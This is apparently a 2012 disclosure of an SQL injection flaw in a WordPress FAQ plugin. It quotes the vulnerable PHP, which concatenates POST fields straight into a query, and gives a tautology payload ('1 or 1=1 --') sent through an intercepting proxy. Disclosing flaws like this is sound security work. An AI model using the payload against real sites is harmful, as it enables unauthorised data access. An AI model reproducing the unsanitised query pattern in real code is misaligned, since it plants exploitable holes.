# Date: 6/25/12

==============================================================================
Vulnerability location: /wp-content/plugins/website-faq/website-faq-widget.php
==============================================================================

 Lines 106-115:

function displayAnswer()
{
 	 global $wpdb;
 $master_table = $wpdb->prefix . "faq";
	 $category = $_POST['category'];
	 $searchtxt = $_POST['searchtxt'];
	 if($category!=0)
	 {
	$sql = "SELECT * FROM $master_table WHERE faq_category=".$category." ANDfaq_question LIKE '%".$searchtxt."%'";
	 }

===============================================================
Vulnerability Details: faq_category vulnerable to SQL injection
===============================================================

When submitting a query via the widget, intercept the post request via burp or other proxy to find the following:

action=displayAnswer&category=1&searchtxt=[your query]

Changing category=1 to category=1 or 1=1 -- exposes the vulnerability, as it returns all FAQ results regardless of searchtxt value.
